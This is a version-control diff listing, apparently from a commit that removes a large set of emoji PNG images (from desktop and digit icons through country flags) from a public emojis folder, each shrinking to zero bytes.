-rw-r--r--public/-/emojis/2/desktop.pngbin507 -> 0 bytes
-rw-r--r--public/-/emojis/2/diamond_shape_with_a_dot_inside.pngbin803 -> 0 bytes
-rw-r--r--public/-/emojis/2/diamonds.pngbin525 -> 0 bytes
-rw-r--r--public/-/emojis/2/digit_eight.pngbin749 -> 0 bytes
-rw-r--r--public/-/emojis/2/digit_five.pngbin668 -> 0 bytes
-rw-r--r--public/-/emojis/2/digit_four.pngbin722 -> 0 bytes
-rw-r--r--public/-/emojis/2/digit_nine.pngbin701 -> 0 bytes
-rw-r--r--public/-/emojis/2/digit_one.pngbin659 -> 0 bytes
-rw-r--r--public/-/emojis/2/digit_seven.pngbin614 -> 0 bytes
-rw-r--r--public/-/emojis/2/digit_six.pngbin769 -> 0 bytes
-rw-r--r--public/-/emojis/2/digit_three.pngbin717 -> 0 bytes
-rw-r--r--public/-/emojis/2/digit_two.pngbin688 -> 0 bytes
-rw-r--r--public/-/emojis/2/digit_zero.pngbin705 -> 0 bytes
-rw-r--r--public/-/emojis/2/disappointed.pngbin686 -> 0 bytes
-rw-r--r--public/-/emojis/2/disappointed_relieved.pngbin892 -> 0 bytes
-rw-r--r--public/-/emojis/2/dividers.pngbin367 -> 0 bytes
-rw-r--r--public/-/emojis/2/dizzy.pngbin889 -> 0 bytes
-rw-r--r--public/-/emojis/2/dizzy_face.pngbin997 -> 0 bytes
-rw-r--r--public/-/emojis/2/dna.pngbin649 -> 0 bytes
-rw-r--r--public/-/emojis/2/do_not_litter.pngbin1074 -> 0 bytes
-rw-r--r--public/-/emojis/2/dog.pngbin994 -> 0 bytes
-rw-r--r--public/-/emojis/2/dog2.pngbin731 -> 0 bytes
-rw-r--r--public/-/emojis/2/dollar.pngbin648 -> 0 bytes
-rw-r--r--public/-/emojis/2/dolls.pngbin1446 -> 0 bytes
-rw-r--r--public/-/emojis/2/dolphin.pngbin867 -> 0 bytes
-rw-r--r--public/-/emojis/2/door.pngbin424 -> 0 bytes
-rw-r--r--public/-/emojis/2/doughnut.pngbin1115 -> 0 bytes
-rw-r--r--public/-/emojis/2/dove.pngbin877 -> 0 bytes
-rw-r--r--public/-/emojis/2/dragon.pngbin1297 -> 0 bytes
-rw-r--r--public/-/emojis/2/dragon_face.pngbin1184 -> 0 bytes
-rw-r--r--public/-/emojis/2/dress.pngbin769 -> 0 bytes
-rw-r--r--public/-/emojis/2/dromedary_camel.pngbin713 -> 0 bytes
-rw-r--r--public/-/emojis/2/drooling_face.pngbin863 -> 0 bytes
-rw-r--r--public/-/emojis/2/droplet.pngbin636 -> 0 bytes
-rw-r--r--public/-/emojis/2/drum.pngbin1025 -> 0 bytes
-rw-r--r--public/-/emojis/2/duck.pngbin914 -> 0 bytes
-rw-r--r--public/-/emojis/2/dumpling.pngbin641 -> 0 bytes
-rw-r--r--public/-/emojis/2/dvd.pngbin987 -> 0 bytes
-rw-r--r--public/-/emojis/2/e-mail.pngbin501 -> 0 bytes
-rw-r--r--public/-/emojis/2/eagle.pngbin1018 -> 0 bytes
-rw-r--r--public/-/emojis/2/ear.pngbin655 -> 0 bytes
-rw-r--r--public/-/emojis/2/ear_of_rice.pngbin1072 -> 0 bytes
-rw-r--r--public/-/emojis/2/ear_tone1.pngbin636 -> 0 bytes
-rw-r--r--public/-/emojis/2/ear_tone2.pngbin597 -> 0 bytes
-rw-r--r--public/-/emojis/2/ear_tone3.pngbin621 -> 0 bytes
-rw-r--r--public/-/emojis/2/ear_tone4.pngbin540 -> 0 bytes
-rw-r--r--public/-/emojis/2/ear_tone5.pngbin536 -> 0 bytes
-rw-r--r--public/-/emojis/2/earth_africa.pngbin1132 -> 0 bytes
-rw-r--r--public/-/emojis/2/earth_americas.pngbin1109 -> 0 bytes
-rw-r--r--public/-/emojis/2/earth_asia.pngbin1071 -> 0 bytes
-rw-r--r--public/-/emojis/2/egg.pngbin716 -> 0 bytes
-rw-r--r--public/-/emojis/2/eggplant.pngbin753 -> 0 bytes
-rw-r--r--public/-/emojis/2/eight.pngbin703 -> 0 bytes
-rw-r--r--public/-/emojis/2/eight_pointed_black_star.pngbin668 -> 0 bytes
-rw-r--r--public/-/emojis/2/eight_spoked_asterisk.pngbin629 -> 0 bytes
-rw-r--r--public/-/emojis/2/eject.pngbin532 -> 0 bytes
-rw-r--r--public/-/emojis/2/electric_plug.pngbin431 -> 0 bytes
-rw-r--r--public/-/emojis/2/elephant.pngbin722 -> 0 bytes
-rw-r--r--public/-/emojis/2/elf.pngbin1029 -> 0 bytes
-rw-r--r--public/-/emojis/2/elf_tone1.pngbin1014 -> 0 bytes
-rw-r--r--public/-/emojis/2/elf_tone2.pngbin933 -> 0 bytes
-rw-r--r--public/-/emojis/2/elf_tone3.pngbin954 -> 0 bytes
-rw-r--r--public/-/emojis/2/elf_tone4.pngbin954 -> 0 bytes
-rw-r--r--public/-/emojis/2/elf_tone5.pngbin1002 -> 0 bytes
-rw-r--r--public/-/emojis/2/end.pngbin503 -> 0 bytes
-rw-r--r--public/-/emojis/2/england.pngbin479 -> 0 bytes
-rw-r--r--public/-/emojis/2/envelope.pngbin334 -> 0 bytes
-rw-r--r--public/-/emojis/2/envelope_with_arrow.pngbin419 -> 0 bytes
-rw-r--r--public/-/emojis/2/euro.pngbin561 -> 0 bytes
-rw-r--r--public/-/emojis/2/european_castle.pngbin843 -> 0 bytes
-rw-r--r--public/-/emojis/2/european_post_office.pngbin700 -> 0 bytes
-rw-r--r--public/-/emojis/2/evergreen_tree.pngbin946 -> 0 bytes
-rw-r--r--public/-/emojis/2/exclamation.pngbin277 -> 0 bytes
-rw-r--r--public/-/emojis/2/exploding_head.pngbin997 -> 0 bytes
-rw-r--r--public/-/emojis/2/expressionless.pngbin548 -> 0 bytes
-rw-r--r--public/-/emojis/2/eye.pngbin765 -> 0 bytes
-rw-r--r--public/-/emojis/2/eye_in_speech_bubble.pngbin704 -> 0 bytes
-rw-r--r--public/-/emojis/2/eyeglasses.pngbin577 -> 0 bytes
-rw-r--r--public/-/emojis/2/eyes.pngbin553 -> 0 bytes
-rw-r--r--public/-/emojis/2/face_palm.pngbin831 -> 0 bytes
-rw-r--r--public/-/emojis/2/face_palm_tone1.pngbin807 -> 0 bytes
-rw-r--r--public/-/emojis/2/face_palm_tone2.pngbin809 -> 0 bytes
-rw-r--r--public/-/emojis/2/face_palm_tone3.pngbin738 -> 0 bytes
-rw-r--r--public/-/emojis/2/face_palm_tone4.pngbin747 -> 0 bytes
-rw-r--r--public/-/emojis/2/face_palm_tone5.pngbin718 -> 0 bytes
-rw-r--r--public/-/emojis/2/face_vomiting.pngbin938 -> 0 bytes
-rw-r--r--public/-/emojis/2/face_with_hand_over_mouth.pngbin894 -> 0 bytes
-rw-r--r--public/-/emojis/2/face_with_monocle.pngbin991 -> 0 bytes
-rw-r--r--public/-/emojis/2/face_with_raised_eyebrow.pngbin638 -> 0 bytes
-rw-r--r--public/-/emojis/2/face_with_symbols_over_mouth.pngbin989 -> 0 bytes
-rw-r--r--public/-/emojis/2/factory.pngbin832 -> 0 bytes
-rw-r--r--public/-/emojis/2/fairy.pngbin1087 -> 0 bytes
-rw-r--r--public/-/emojis/2/fairy_tone1.pngbin1089 -> 0 bytes
-rw-r--r--public/-/emojis/2/fairy_tone2.pngbin1052 -> 0 bytes
-rw-r--r--public/-/emojis/2/fairy_tone3.pngbin1053 -> 0 bytes
-rw-r--r--public/-/emojis/2/fairy_tone4.pngbin1012 -> 0 bytes
-rw-r--r--public/-/emojis/2/fairy_tone5.pngbin1145 -> 0 bytes
-rw-r--r--public/-/emojis/2/fallen_leaf.pngbin796 -> 0 bytes
-rw-r--r--public/-/emojis/2/family.pngbin1230 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_man_boy.pngbin846 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_man_boy_boy.pngbin927 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_man_girl.pngbin927 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_man_girl_boy.pngbin1019 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_man_girl_girl.pngbin997 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_mmb.pngbin1053 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_mmbb.pngbin1230 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_mmg.pngbin1108 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_mmgb.pngbin1206 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_mmgg.pngbin1244 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_mwbb.pngbin1473 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_mwg.pngbin1358 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_mwgb.pngbin1506 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_mwgg.pngbin1580 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_woman_boy.pngbin853 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_woman_boy_boy.pngbin1054 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_woman_girl.pngbin942 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_woman_girl_boy.pngbin994 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_woman_girl_girl.pngbin995 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_wwb.pngbin965 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_wwbb.pngbin1187 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_wwg.pngbin1053 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_wwgb.pngbin1322 -> 0 bytes
-rw-r--r--public/-/emojis/2/family_wwgg.pngbin1270 -> 0 bytes
-rw-r--r--public/-/emojis/2/fast_forward.pngbin561 -> 0 bytes
-rw-r--r--public/-/emojis/2/fax.pngbin744 -> 0 bytes
-rw-r--r--public/-/emojis/2/fearful.pngbin895 -> 0 bytes
-rw-r--r--public/-/emojis/2/feet.pngbin584 -> 0 bytes
-rw-r--r--public/-/emojis/2/female_sign.pngbin517 -> 0 bytes
-rw-r--r--public/-/emojis/2/fencer.pngbin882 -> 0 bytes
-rw-r--r--public/-/emojis/2/ferris_wheel.pngbin1762 -> 0 bytes
-rw-r--r--public/-/emojis/2/ferry.pngbin603 -> 0 bytes
-rw-r--r--public/-/emojis/2/field_hockey.pngbin683 -> 0 bytes
-rw-r--r--public/-/emojis/2/file_cabinet.pngbin233 -> 0 bytes
-rw-r--r--public/-/emojis/2/file_folder.pngbin350 -> 0 bytes
-rw-r--r--public/-/emojis/2/film_frames.pngbin304 -> 0 bytes
-rw-r--r--public/-/emojis/2/fingers_crossed.pngbin607 -> 0 bytes
-rw-r--r--public/-/emojis/2/fingers_crossed_tone1.pngbin612 -> 0 bytes
-rw-r--r--public/-/emojis/2/fingers_crossed_tone2.pngbin614 -> 0 bytes
-rw-r--r--public/-/emojis/2/fingers_crossed_tone3.pngbin573 -> 0 bytes
-rw-r--r--public/-/emojis/2/fingers_crossed_tone4.pngbin565 -> 0 bytes
-rw-r--r--public/-/emojis/2/fingers_crossed_tone5.pngbin558 -> 0 bytes
-rw-r--r--public/-/emojis/2/fire.pngbin1015 -> 0 bytes
-rw-r--r--public/-/emojis/2/fire_engine.pngbin853 -> 0 bytes
-rw-r--r--public/-/emojis/2/fire_extinguisher.pngbin650 -> 0 bytes
-rw-r--r--public/-/emojis/2/firecracker.pngbin832 -> 0 bytes
-rw-r--r--public/-/emojis/2/fireworks.pngbin1216 -> 0 bytes
-rw-r--r--public/-/emojis/2/first_place.pngbin932 -> 0 bytes
-rw-r--r--public/-/emojis/2/first_quarter_moon.pngbin1007 -> 0 bytes
-rw-r--r--public/-/emojis/2/first_quarter_moon_with_face.pngbin770 -> 0 bytes
-rw-r--r--public/-/emojis/2/fish.pngbin856 -> 0 bytes
-rw-r--r--public/-/emojis/2/fish_cake.pngbin684 -> 0 bytes
-rw-r--r--public/-/emojis/2/fishing_pole_and_fish.pngbin1031 -> 0 bytes
-rw-r--r--public/-/emojis/2/fist.pngbin662 -> 0 bytes
-rw-r--r--public/-/emojis/2/fist_tone1.pngbin676 -> 0 bytes
-rw-r--r--public/-/emojis/2/fist_tone2.pngbin654 -> 0 bytes
-rw-r--r--public/-/emojis/2/fist_tone3.pngbin579 -> 0 bytes
-rw-r--r--public/-/emojis/2/fist_tone4.pngbin603 -> 0 bytes
-rw-r--r--public/-/emojis/2/fist_tone5.pngbin588 -> 0 bytes
-rw-r--r--public/-/emojis/2/five.pngbin639 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ac.pngbin815 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ad.pngbin683 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ae.pngbin457 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_af.pngbin673 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ag.pngbin800 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ai.pngbin698 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_al.pngbin774 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_am.pngbin429 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ao.pngbin651 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_aq.pngbin487 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ar.pngbin681 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_as.pngbin870 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_at.pngbin375 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_au.pngbin801 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_aw.pngbin627 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ax.pngbin524 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_az.pngbin505 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ba.pngbin752 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bb.pngbin625 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bd.pngbin551 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_be.pngbin510 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bf.pngbin503 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bg.pngbin419 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bh.pngbin584 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bi.pngbin803 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bj.pngbin478 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bl.pngbin1022 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_black.pngbin276 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bm.pngbin981 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bn.pngbin896 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bo.pngbin578 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bq.pngbin856 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_br.pngbin699 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bs.pngbin529 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bt.pngbin733 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bv.pngbin431 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bw.pngbin351 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_by.pngbin619 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_bz.pngbin866 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ca.pngbin534 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cc.pngbin614 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cd.pngbin585 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cf.pngbin604 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cg.pngbin459 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ch.pngbin595 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ci.pngbin577 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ck.pngbin762 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cl.pngbin560 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cm.pngbin622 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cn.pngbin480 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_co.pngbin470 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cp.pngbin526 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cr.pngbin436 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cu.pngbin501 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cv.pngbin592 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cw.pngbin487 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cx.pngbin683 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cy.pngbin824 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_cz.pngbin594 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_de.pngbin452 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_dg.pngbin1261 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_dj.pngbin730 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_dk.pngbin529 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_dm.pngbin777 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_do.pngbin774 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_dz.pngbin637 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ea.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ec.pngbin917 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ee.pngbin484 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_eg.pngbin558 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_eh.pngbin537 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_er.pngbin708 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_es.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_et.pngbin645 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_eu.pngbin695 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_fi.pngbin502 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_fj.pngbin918 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_fk.pngbin858 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_fm.pngbin618 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_fo.pngbin529 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_fr.pngbin526 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ga.pngbin417 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gb.pngbin708 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gd.pngbin773 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ge.pngbin572 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gf.pngbin541 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gg.pngbin453 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gh.pngbin568 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gi.pngbin853 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gl.pngbin605 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gm.pngbin475 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gn.pngbin605 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gp.pngbin986 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gq.pngbin646 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gr.pngbin509 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gs.pngbin926 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gt.pngbin701 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gu.pngbin659 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gw.pngbin507 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_gy.pngbin715 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_hk.pngbin563 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_hm.pngbin716 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_hn.pngbin631 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_hr.pngbin841 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ht.pngbin732 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_hu.pngbin419 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ic.pngbin791 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_id.pngbin480 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ie.pngbin590 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_il.pngbin601 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_im.pngbin562 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_in.pngbin564 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_io.pngbin1266 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_iq.pngbin616 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ir.pngbin659 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_is.pngbin579 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_it.pngbin609 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_je.pngbin773 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_jm.pngbin776 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_jo.pngbin540 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_jp.pngbin555 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ke.pngbin814 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_kg.pngbin698 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_kh.pngbin531 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ki.pngbin888 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_km.pngbin573 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_kn.pngbin798 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_kp.pngbin626 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_kr.pngbin957 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_kw.pngbin538 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ky.pngbin949 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_kz.pngbin762 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_la.pngbin464 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_lb.pngbin607 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_lc.pngbin694 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_li.pngbin541 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_lk.pngbin736 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_lr.pngbin567 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ls.pngbin513 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_lt.pngbin439 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_lu.pngbin419 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_lv.pngbin371 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ly.pngbin536 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ma.pngbin456 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mc.pngbin485 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_md.pngbin651 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_me.pngbin787 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mf.pngbin526 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mg.pngbin573 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mh.pngbin806 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mk.pngbin789 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ml.pngbin491 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mm.pngbin615 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mn.pngbin493 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mo.pngbin568 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mp.pngbin1073 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mq.pngbin752 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mr.pngbin668 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ms.pngbin871 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mt.pngbin721 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mu.pngbin442 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mv.pngbin478 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mw.pngbin527 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mx.pngbin780 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_my.pngbin605 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_mz.pngbin628 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_na.pngbin706 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_nc.pngbin731 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ne.pngbin450 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_nf.pngbin758 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ng.pngbin503 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ni.pngbin556 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_nl.pngbin486 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_no.pngbin431 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_np.pngbin771 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_nr.pngbin446 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_nu.pngbin757 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_nz.pngbin710 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_om.pngbin611 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_pa.pngbin646 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_pe.pngbin547 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_pf.pngbin811 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_pg.pngbin673 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ph.pngbin665 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_pk.pngbin674 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_pl.pngbin507 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_pm.pngbin1385 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_pn.pngbin1056 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_pr.pngbin532 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ps.pngbin513 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_pt.pngbin757 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_pw.pngbin645 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_py.pngbin694 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_qa.pngbin517 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_re.pngbin754 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ro.pngbin502 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_rs.pngbin824 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ru.pngbin409 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_rw.pngbin610 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sa.pngbin766 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sb.pngbin631 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sc.pngbin646 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sd.pngbin482 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_se.pngbin618 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sg.pngbin577 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sh.pngbin832 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_si.pngbin609 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sj.pngbin481 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sk.pngbin617 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sl.pngbin415 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sm.pngbin1037 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sn.pngbin565 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_so.pngbin617 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sr.pngbin450 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ss.pngbin543 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_st.pngbin523 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sv.pngbin682 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sx.pngbin744 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sy.pngbin621 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_sz.pngbin649 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ta.pngbin893 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tc.pngbin935 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_td.pngbin608 -> 0 bytes
